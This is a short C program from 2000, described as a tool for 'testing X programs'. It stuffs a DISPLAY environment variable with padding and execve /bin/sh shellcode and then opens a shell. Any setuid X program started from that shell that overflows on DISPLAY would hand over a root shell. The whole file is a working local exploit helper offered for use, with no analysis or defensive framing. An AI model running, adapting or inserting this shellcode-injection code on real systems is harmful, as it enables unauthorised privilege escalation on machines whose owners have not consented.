/*
 * Little program for testing X programs
 * (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
  char shellcode[] = "\xeb\x0d\x5e\x31\xdb\x31\xc0\x53\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xee\xff\xff\xff/bin/sh\x00";
  char *buf;
  int len;
  int i;

  if (argc != 2) {
    printf("%s [number of bytes]\n", argv[0]);
    return -1;
  }

  if ((buf = malloc(atoi(argv[1]))) == NULL) {
    perror("malloc()");
    return -1;
  }

  len = atoi(argv[1]) - (strlen(shellcode) + 3); 
  for (i = 1; i <= len; i++) {
    buf[i - 1] = 'A';
  }

  snprintf(buf, atoi(argv[1]), "%s%s:0", buf, shellcode);
  if (setenv("DISPLAY", buf, 0) != 0) {
    perror("setenv()");
    return -1;
  }

  system("/bin/sh");
  return 0;
}